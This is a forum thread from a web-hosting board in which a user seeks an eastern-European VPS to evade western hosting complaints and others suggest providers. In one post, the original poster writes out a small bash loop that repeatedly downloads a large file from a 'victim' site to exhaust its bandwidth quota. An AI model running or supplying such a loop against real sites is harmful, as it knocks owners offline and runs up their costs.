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    Question Looking for a reliable VPS in eastern europe, any advices?

    Hello everyone here at webhostingtalk,

    I'm looking for a VPS to host ~15 websites. I'm on a shared in ukraine right now, but they want to kick me out because my websites are using too much cpu load. I have about 50 70 $ / month budget, I'm using 200 Gb bandwith monthly and growing so I would like 100 Mbps unmetered, with cpanel and ddos protection. The server must be in eastern europe, ukraine, latvia, this kind of countries so my business can be quiet. I found lots of web hosting offering vps, but it seems most of them are only resellers, and they often have downtime problems which is the worst thing that can happen. If you know good and reliable vps provider in eastern europe, please post your testimonials in this topic, this can be helpful for me and other webmasters.

    Thank you for any advice / review / testimonial / help.

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    Quote Originally Posted by Ph4nt0m View Post
    Hello everyone here at webhostingtalk,

    I'm looking for a VPS to host ~15 websites. I'm on a shared in ukraine right now, but they want to kick me out because my websites are using too much cpu load. I have about 50 70 $ / month budget, I'm using 200 Gb bandwith monthly and growing so I would like 100 Mbps unmetered, with cpanel and ddos protection. The server must be in eastern europe, ukraine, latvia, this kind of countries so my business can be quiet. I found lots of web hosting offering vps, but it seems most of them are only resellers, and they often have downtime problems which is the worst thing that can happen. If you know good and reliable vps provider in eastern europe, please post your testimonials in this topic, this can be helpful for me and other webmasters.

    Thank you for any advice / review / testimonial / help.
    Hello Sir,

    How much you need RAM and disk space?

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    you are asking for unmetered + ddos protection + eu location and good uptime
    i think these options hard to be mixed
    try urgentvps

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    I hope you find what you're looking for,
    Keep us all updated.

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    do you provide unmetered bw with these specs?

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    Is 100MBPS unmetered entirely necessary? Surely, given your current usage you could do quite nicely with a good ~500GB+ bandwidth allowance on a 100MBPS connection and just upgrade from there?

    http://www.webhostingtalk.com/forumdisplay.php?f=104

    ^ You'll find a good few options in there.

    Is DDOS protection an absolute must? You'll limit your options in Europe if you require it, but there are credible candidates out there such as Urgent VPS; I believe their data center is in Frankfurt.
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    @ WaQas

    Well, I think between 1 and 2 Gb RAM would be good, maybe 1 to sart and I will upgrade if more is needed, and for the storage I don't need that much, 10 Gb would be enough for what I need to host. In fact I can pay for a plan with bigger features that I need, this is not a problem if they give me the quality of service I'm looking for.

    @ CI-Theo

    You're right about the 500 Gb bandwith which would be enough to start, the problem is that I know some people who had problems with limited bandwith, have you ever heard about bandwith ddos? If you want to kill a website which is hosted somewhere with limited bandwith, you just look for a big file on it and you run that kind of script for a few hours:

    Code:
    #!/bin/bash
    while /bin/true
    do
      curl --user-agent "Firefox/3.6.10 DTC" hxxp://victim.com/download.zip > /dev/null;
    curl --user-agent "Firefox/3.6.10 DTC" hxxp://victim.com/download.zip > /dev/null;
    curl --user-agent "Firefox/3.6.10 DTC" hxxp://victim.com/download.zip > /dev/null;
        curl --user-agent "Firefox/3.6.10 DTC" hxxp://victim.com/download.zip > /dev/null;
      sleep 1;
    done
    The bandwith quota is exploded, and the account is suspended until you pay for the Gb excess. I know this kind of thing is not happening every day, but I'm careful (you can even say paranoid) about what can happen so unmetered bandwith would be perfect for me. Ddos protection is not mandatory, but it would be better to have it. I checked urgentvps and you're right their servers are in deutschland, deutschland is not an option for me. I'm looking for servers hosted in Ukraine for example, you know this kind of country where you can do your business quietly.

    I'm still searching, I contacted colocall but it takes them 2 or 3 days to answer a mail, so I'm not sure if they really want to sell me something. I'm checking the VPS hosting offers, any advice or testimonial would be greatly appreciated, and of course I'll let you know if I find something interesting.

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    Hello Sir,

    Thanks for your Answer,
    Sir, Actually those countries provider are few so its hard to judge the stable, We find here mostly, UK, Germany, Netherlands.. but try to visit vps offer section may b you find stable one..

    But i suggest you chose from UK, Germany or Netherlands because there are lot of providers and most of them stable, because here collocation is cheaper then other countries..


    Thanks in advance

    Regards,
    WaQas.

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    @WaQas: I really need my websites to be hosted in one of those countries: Ukraine, Latvia, Lithuania, Estonia, Romania... I was previously hosted in France but they have too many stupid laws so anyone can complain about anything and you got your website shut down at any time for any reason.

    Here we go again, my shared hosting has suspended my account for the second time. I really need to find a VPS fast. Ukraine is the place I need to be, so here is what I found yet:

    hxxp://safeandsoundhost.com/index.html
    hxxps://motionite.com/index

    I contacted both of them and I hope to find what I need really fast, because right now all my webites are down. Any help or advice would be greatly appreciated. I just got 15 websites that need a hosting right now!

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    How high are we talking with the load usage?
    Also, what's making this so high?
    Just seems strange that you want to keep your business quiet.

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    They gave me this as a proof of the overload:

    Code:
    1415 mywebsite  17   0 62120  12m 6796 S  0.0  0.2   0:00.08 /usr/bin/php /home/mywebsite/public_html/forum/viewforum.php
     1422 mywebsite  15   0 61260  11m 6436 S  0.0  0.2   0:00.05 /usr/bin/php /home/mywebsite/public_html/search.php
     1531 mywebsite  17   0 62144  12m 6600 S  0.0  0.2   0:00.07 /usr/bin/php /home/mywebsite/public_html/index.php
     1612 mywebsite  18   0 61260  11m 6436 S  0.0  0.2   0:00.05 /usr/bin/php /home/mywebsite/public_html/search.php
     1828 mywebsite  15   0 61260  11m 6436 S  0.0  0.2   0:00.06 /usr/bin/php /home/mywebsite/public_html/search.php
     1908 mywebsite  20   0 61260  11m 6436 S  0.0  0.2   0:00.06 /usr/bin/php /home/mywebsite/public_html/search.php
     2015 mywebsite  16   0 61260  11m 6436 S  0.0  0.2   0:00.05 /usr/bin/php /home/mywebsite/public_html/search.php
     3312 mywebsite  15   0 61260  11m 6436 S  0.0  0.2   0:00.05 /usr/bin/php /home/mywebsite/public_html/search.php
     3348 mywebsite  15   0 62144  12m 6592 S  0.0  0.2   0:00.07 /usr/bin/php /home/mywebsite/public_html/index.php
     3481 mywebsite  16   0 61260  11m 6436 S  0.0  0.2   0:00.06 /usr/bin/php /home/mywebsite/public_html/search.php
     3759 mywebsite  15   0 61260  11m 6436 S  0.0  0.2   0:00.05 /usr/bin/php /home/mywebsite/public_html/search.php
     3924 mywebsite  17   0 61260  11m 6436 S  0.0  0.2   0:00.07 /usr/bin/php /home/mywebsite/public_html/search.php
     4010 mywebsite  16   0 62120  12m 6796 S  0.0  0.2   0:00.08 /usr/bin/php /home/mywebsite/public_html/forum/viewforum.php
     5175 mywebsite  17   0 61260  11m 6436 S  0.0  0.2   0:00.06 /usr/bin/php /home/mywebsite/public_html/search.php
     5344 mywebsite  18   0 61260  11m 6436 S  0.0  0.2   0:00.06 /usr/bin/php /home/mywebsite/public_html/search.php
     5570 mywebsite  18   0 61260  11m 6424 S  0.0  0.2   0:00.06 /usr/bin/php /home/mywebsite/public_html/404.php
     5573 mywebsite  18   0 61260  11m 6436 S  0.0  0.2   0:00.06 /usr/bin/php /home/mywebsite/public_html/search.php
     5587 mywebsite  18   0 61260  11m 6436 S  0.0  0.2   0:00.07 /usr/bin/php /home/mywebsite/public_html/search.php
     5592 mywebsite  18   0 61260  11m 6424 S  0.0  0.2   0:00.05 /usr/bin/php /home/mywebsite/public_html/404.php
     5596 mywebsite  18   0 61260  11m 6424 S  0.0  0.2   0:00.06 /usr/bin/php /home/mywebsite/public_html/404.php
     5602 mywebsite  18   0 61260  11m 6436 S  0.0  0.2   0:00.05 /usr/bin/php /home/mywebsite/public_html/search.php
     5627 mywebsite  17   0 61260  11m 6436 S  0.0  0.2   0:00.06 /usr/bin/php /home/mywebsite/public_html/search.php
     5653 mywebsite  17   0 62420  12m 6840 S  0.0  0.3   0:00.10 /usr/bin/php /home/mywebsite/public_html/forum/viewtopic.php
     5769 mywebsite  18   0 61260  11m 6436 S  0.0  0.2   0:00.05 /usr/bin/php /home/mywebsite/public_html/search.php
     6020 mywebsite  15   0 61624  11m 6468 S  0.0  0.2   0:00.05 /usr/bin/php /home/mywebsite/public_html/page1.php
     6034 mywebsite  17   0 61260  11m 6436 S  0.0  0.2   0:00.06 /usr/bin/php /home/mywebsite/public_html/search.php
     6056 mywebsite  17   0 62708  13m 6828 S  0.0  0.3   0:00.13 /usr/bin/php /home/mywebsite/public_html/forum/viewtopic.php
     7356 mywebsite  18   0 61260  11m 6436 S  0.0  0.2   0:00.05 /usr/bin/php /home/mywebsite/public_html/search.php
     7566 mywebsite  15   0 62384  12m 6592 S  0.0  0.2   0:00.07 /usr/bin/php /home/mywebsite/public_html/index.php
     7597 mywebsite  15   0 61624  11m 6468 S  0.0  0.2   0:00.07 /usr/bin/php /home/mywebsite/public_html/page1.php
     7607 mywebsite  15   0 61260  11m 6436 S  0.0  0.2   0:00.05 /usr/bin/php /home/mywebsite/public_html/search.php
     7804 mywebsite  17   0 61260  11m 6436 S  0.0  0.2   0:00.05 /usr/bin/php /home/mywebsite/public_html/search.php
     7966 mywebsite  17   0 62716  13m 6832 S  0.0  0.3   0:00.12 /usr/bin/php /home/mywebsite/public_html/forum/viewtopic.php
     8066 mywebsite  17   0 62424  12m 6844 S  0.0  0.3   0:00.09 /usr/bin/php /home/mywebsite/public_html/forum/viewtopic.php
     8077 mywebsite  18   0 61260  11m 6436 S  0.0  0.2   0:00.06 /usr/bin/php /home/mywebsite/public_html/search.php
     8085 mywebsite  15   0 61260  11m 6436 S  0.0  0.2   0:00.06 /usr/bin/php /home/mywebsite/public_html/search.php
     8113 mywebsite  18   0 62420  12m 6844 S  0.0  0.3   0:00.09 /usr/bin/php /home/mywebsite/public_html/forum/viewtopic.php
     8131 mywebsite  16   0 61624  11m 6468 S  0.0  0.2   0:00.07 /usr/bin/php /home/mywebsite/public_html/page1.php
    
    MEM :
    
                total       used       free     shared    buffers     cached
    Mem:          5069       5062          6          0          0          0
    -/+ buffers/cache:       5062          6
    And if I want my websites to be hosted there, this is because there are some people that want to shut down my business and with the laws of some country it's not a good thing for me to be hosted there, in France for example I already had problems with a web hosting and I had a website turned off for one month, I don't want this to happen anymore.

    I got a fast answer from motionite, but the problem is that they are offering unmanaged VPS, and I'm not familiar with VPS administration so here is the configuration I have to do:


    Configure Server

    Hostname: eg. server1(.yourdomain.com)
    NS1 Prefix: eg. ns1(.yourdomain.com)
    NS2 Prefix: eg. ns2(.yourdomain.com)
    Root Password:

    Ok so I have many websites to be hosted, I need to have a domain name that will be used for the dns server, that's it?

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    Dragonara Ltd is a professional, swiss anti-ddos company.

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    More about Motionite can be found on WJunction. KnownSrv is Netherlands based. I've used them before! Fantastic support + servers.
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    From the looks off it your search.php was using a lot of resources or it was getting flooded. Did your host check incoming connections to your search.php?

    If you really use so much resources you might want to optimize your script, get a dedicated server or find a VPS provider with powerful Dual Xeons and fast drives in RAID10.

    What exactly are you going to host?
    KnownSRV.com - Fast, Quality and Secure MANAGED VPS with fast SSD drives in h/w RAID10
    Full network and hardware customization possible - let's talk your needs. Optional 500gbps DDoS protection!
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    I wouldn't it to just Ukraine location as you'll be dropping a lot of good providers. Anywhere in UK/Europe should be good.

    You might want to checkout eUKhost.

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    If is in Europe I would avoid German companies firstly as a fresh good start to avoid complications

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    Thread cleaned.

    Let's focus and help the OP.

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    Quote Originally Posted by grizzled View Post
    If is in Europe I would avoid German companies firstly as a fresh good start to avoid complications
    Can you please elaborate?

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    @net,

    Some people on WHT complain about the quality of the support teams, but so far I haven't seen clear facts that backup the complaints.
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    UK, Germany, Netherlands are all WEST Europe.

    The OP is asking for EAST Europe

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    Thank you for the geography lesson. Actually there's not such a big difference between east and west when it comes to connectivity. That's what some of us are trying to explain. It only makes sense to target a specific country only if you have demand only from that country and you need extremely high speeds for the costumers. Other than that, ~10-20 ms on response time won't be noticed considering the response time is usually 15-20ms in some eastern countries.
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    Quote Originally Posted by ARPLink View Post
    Thank you for the geography lesson. Actually there's not such a big difference between east and west when it comes to connectivity. That's what some of us are trying to explain. It only makes sense to target a specific country only if you have demand only from that country and you need extremely high speeds for the costumers. Other than that, ~10-20 ms on response time won't be noticed considering the response time is usually 15-20ms in some eastern countries.
    he wants it out of "western" for legal reasons not for connectivity

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    I'm not a customer of theirs, but Delimiter may be able to help - they have locations in Kiev, Prague & Taillinn, although they don't always have stock there:

    http://www.delimiter.us/products/?ST...C=Europe&SID=1

    They have live chat as well, so even if they're out of stock, you could confirm this?

    Some of their locations have mixed reviews, so I'd recommend you do a WHT review search for the location of your choice before making any decisions final.
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    Why so many german, netherland, bla bla.. western EU country offers while he specifily said that he don't want to go there and keep repeating that

    Suggested shady unresponsive rip-off called Delimiter with 101 complain threads on WHT is no-go for any WHTers, this is I hope clear till now! (so forget about suggestion above)

    You might want to look for Moldovian host trabia.net (don't ask me where is their site but check this offer: https://www.webhostingtalk.com/showthread.php?t=1048712) While I don't have experience with this host their location (between Romania and Ukraina) might be this what you're looking for. And yes, I know that you're asking for vps.
    Last edited by Spirit; 05-15-2011 at 08:55 PM.

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    Thank you for those answers. To be clear, if I need my websites to be hosted in eastern europe it's because their laws are better than in western europe, especially for my business and I don't want that anybody can put one of my websites down with just a complain sent to the host like this happened to me before.

    @ CI-Theo: I checked delimited but they are out of stock for all their VPS plans in eastern europe.

    @ Spirit: trabia seems interesting, but too expensive for me.

    I took a UA-VPS2 in Ukraine from Motionite ( wht thread=1047192 ), altough it's unmanaged they kindly set up Cpanel for me (which is not so hard that I thought in fact, after a little search about it). I just put a first website online, and the http download speed is awfully slow. Server is supposed to be on a 100 Mb port, and I'm downloading at 40 Ko/s! I just submitted a ticket, but if they can't do better than that I think I will move from there. I'm testing right now, I won't move all my websites on such a slow server. Even a cheap shared hosting is faster than that! As I feel like I can handle an unmanaged VPS, maybe I'll have a look at hxxp://t-n-media.de/vs_dyn.php , their servers are in Romania and even if it's unmanaged I think it's not so hard to install cpanel on it. I'll also have a look here, their prices seems interesting: hxxp://newhost.ro/en/vps/

    I hope I will finally find the server I need, anyway I'll give you feedback here as I keep searching.
    Last edited by Ph4nt0m; 05-16-2011 at 04:59 PM.

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    @Ph4nt0m,

    In Romania I recommend IntoVPS or EnjoyVPS. They are both in the same DC and I can vouche that they have decent speeds. Te VPSs are unmanaged but the support is quite decent. I have some equipement colocated in the same DC and I'm pleased with their performances.
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    After ~ 3 months I'm not very pleased with motionite. I have 2 problems, the first is that the VPS was maybe hacked, I had some overloads and I cannot use the server anymore, I would have to reinstall it over but I don't have much time to do it and mostly:

    Motionite got their SolusVM accounts hacked. Someone logged into my VPS admin panel with an ip from germany (see motionite mails in attachments) so I prefer to move from there as I really don't feel secure.

    Now what I need is a secure and reliable managed VPS, still in eastern europe. I don't have either the time or the knowledge to fully manage myself a VPS so I prefer to pay a managed one. If you know some good managed VPS please let me know.
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